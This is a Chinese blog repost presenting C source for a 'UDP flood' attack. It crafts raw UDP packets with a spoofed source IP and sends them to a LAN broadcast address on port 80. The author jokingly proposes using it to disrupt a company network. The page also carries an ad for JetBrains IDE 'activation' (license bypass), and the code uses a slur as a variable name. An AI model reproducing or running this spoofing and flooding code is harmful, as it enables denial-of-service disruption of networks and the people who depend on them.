简单的udp攻击_udp flood攻击

简单的udp攻击_udp flood攻击由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.我是在ubuntu8.04下的,需要gcc编译.这个也添加了广播,整个网段的人都能收到了#include#include#include#include//ip#include//tcp#include#includeunsignedshortip_su…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用
由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.

我是在ubuntu8.04下的,需要gcc编译.

这个也添加了广播,整个网段的人都能收到了

#include <stdio.h>

#include <sys/socket.h>

#include <unistd.h>

#include <netinet/ip.h> //ip

#include <netinet/udp.h> //tcp

#include <stdlib.h>

#include<netinet/in.h>

unsigned short ip_sum(unsigned short *addrr2, int len2) {

register unsigned short *addrr = addrr2;

register int len = len2;

register int sum = 0;

unsigned short answer = 0;

while (len > 1) {

sum += *addrr++;

len -= 2;

}

if (len == 1) {

*(unsigned char *) (&answer) = *(unsigned char *) addrr;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return (answer);

}

unsigned short cksum(short * buf, int nwords) {

unsigned long sum;

for (sum = 0; nwords > 0; nwords–)

sum += *buf++;

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

return ~sum;

}

int main(int argc, char *argv[]) {

int sock, size, bytes_send, psize;

psize = 0;

struct sockaddr_in sin;

struct {

struct ip iphead;

struct udphdr udphead;

unsigned char evil[];

} faggot;

size = sizeof(struct ip) + sizeof(struct udphdr) + 1 + psize;

printf(“create socket\r\n”);

sin.sin_family = AF_INET;

sin.sin_addr.s_addr = inet_addr(“192.168.0.255”); //被攻击者ip

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &size, sizeof(size)) < 0) {

printf(“2”);

perror(“IP_HDRINCL”);

exit(1);

}

const int on = 1;//设定常量,用于打开广播模式

//设定该接口上的广播模式

if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {

printf(“2”);

perror(“IP_HDRINCL”);

exit(1);

}

faggot.evil[psize] = ‘\0’;

printf(“create iphead\r\n”);

faggot.iphead.ip_v = 4;

faggot.iphead.ip_hl = 5;

faggot.iphead.ip_tos = 0x00;

faggot.iphead.ip_len = size;

faggot.iphead.ip_id = 1025;

faggot.iphead.ip_off = 0;

faggot.iphead.ip_ttl = 201;

faggot.iphead.ip_p = IPPROTO_UDP;

faggot.iphead.ip_sum = 0;

inet_aton(“192.168.0.157”, &faggot.iphead.ip_src);//假冒ip

inet_aton(“192.168.0.255”, &faggot.iphead.ip_dst);//被攻击者ip

printf(“create udphead\r\n”);

faggot.udphead.source = htons(12345);//假冒端口

faggot.udphead.dest = htons(80);//被攻击者端口

faggot.udphead.len = htons(sizeof(faggot.udphead) + 1 + psize);

faggot.iphead.ip_sum = ip_sum((short *) &(faggot.iphead), sizeof(faggot.iphead));

faggot.udphead.check = cksum((short *) &(faggot.udphead), size >> 1);

printf(“start send\r\n”);

int i = 1;

while (i > 0) {

bytes_send = sendto(sock, &faggot, size, 0, (struct sockaddr *) &sin, sizeof(sin));

i–;

// if (bytes_send > 0) {

// i++;

// printf(“第%d次OK bytes_send udp %d \n”, i, bytes_send);

// }

}

printf(“end send\r\n”);

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/186802.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 图像双目视觉定位[通俗易懂]

    图像双目视觉定位[通俗易懂]今天与大家分享一下关于图像的双目定位法,对于实际工程有很大参考意义!!顾名思义:双目定位就是用两部相机来定位。双目定位过程中,两部相机在同一平面上,并且光轴互相平行,就像是人的两只眼睛一样,针对物体上某一个或某些特征点,用两部固定于不同位置的相机摄得物体的像,分别获得该点在两部相机像平面上的坐标。只要知道两部相机精确的相对位置,就可用几何的方法得到该特征点在固定一部相机的坐标系中的坐标,即确定…

    2022年6月15日
    36
  • incorrect integer value for column 问题解决

    incorrect integer value for column 问题解决

    2021年11月4日
    63
  • mysql中exists的用法详解[通俗易懂]

    mysql中exists的用法详解[通俗易懂]前言在日常开发中,用mysql进行查询的时候,有一个比较少见的关键词exists,我们今天来学习了解一下这个exists这个sql关键词的用法,这样在工作中遇到一些特定的业务场景就可以有更加多样化的解决方案语法解释语法SELECTcolumn1FROMt1WHERE[conditions]andEXISTS(SELECT*FROMt2);说明括号中的子查询并不会返回具体的查询到的数据,只是会返回true或者false,如果外层sql的字段在子查询中存在则返回true,

    2022年10月23日
    0
  • 2017noip提高组初赛_noip2021初赛答案

    2017noip提高组初赛_noip2021初赛答案一:装饰器实现AOP///<summary>///装饰器模式实现静态代理///AOP在方法前后增加自定义的方法///</summary>publicclassDecoratorAOP{publicstaticvoidShow(){Useruser=newUser(){Name=”看看看看”,Password=”1231231231

    2022年9月17日
    0
  • 神经网络实现手写数字识别(MNIST)[通俗易懂]

    神经网络实现手写数字识别(MNIST)[通俗易懂]一、缘起原本想沿着传统递归算法实现迷宫游戏——&amp;amp;amp;amp;gt;遗传算法实现迷宫游戏——&amp;amp;amp;amp;gt;神经网络实现迷宫游戏的思路,在本篇当中也写如何使用神经网络实现迷宫的,但是研究了一下,感觉有些麻烦不太好弄,所以就选择了比较常见的方式,实现手写数字识别(所谓的MNIST)。二、人工神经网络简介从小至蚂蚁(没有查到具体数目,有的说蚂蚁大脑有25万个神经细胞,也有说是50万个),大至大象…

    2022年9月14日
    0
  • 有关SqlDbType.Decimal

    有关SqlDbType.Decimal今天在开发过程中遇到SqlDbType.Decimal类型的参数,返回值却是没有小数位的整数值,郁闷坏了。查了半天资料,原来需要指定小数位。具体书写如下:               cmd.Parameters.Add(“@Percent”,SqlDbType.Decimal).Direction=ParameterDirection.Output;               cm

    2022年7月20日
    12

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号